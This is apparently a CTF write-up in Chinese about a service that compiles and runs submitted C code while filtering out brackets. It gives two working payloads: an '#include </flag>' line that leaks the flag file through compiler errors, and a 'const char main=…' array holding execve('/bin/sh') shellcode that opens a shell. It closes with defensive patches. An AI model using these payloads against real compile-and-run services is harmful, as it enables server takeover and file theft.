逻辑很简单的一道题,nc上服务后发现提示:
please input the c code,we will Compile and execute
实际上就是输入一段c代码服务器会自动编译执行。
但随便输入一些C代码发现程序会过滤除尖括号外的所有括号字符。
非预期解为直接输入:
#include </flag>
则gcc编译代码时报错将flag内容暴露出来。
预期解为输入:
const char main=72,b=184,c=47,d=98,e=105,f=110,g=47,h=115,i=104,j=0,k=80,l=84,m=95,n=106,o=59,p=88,q=15,r=5;
则直接getshell。
原理的话看下面这篇文章:
https://osandamalith.com/2019/08/27/running-shellcode-directly-in-c/
防御方式为patch修改字符过滤逻辑(过滤等号或分号),或者修改执行文件路径。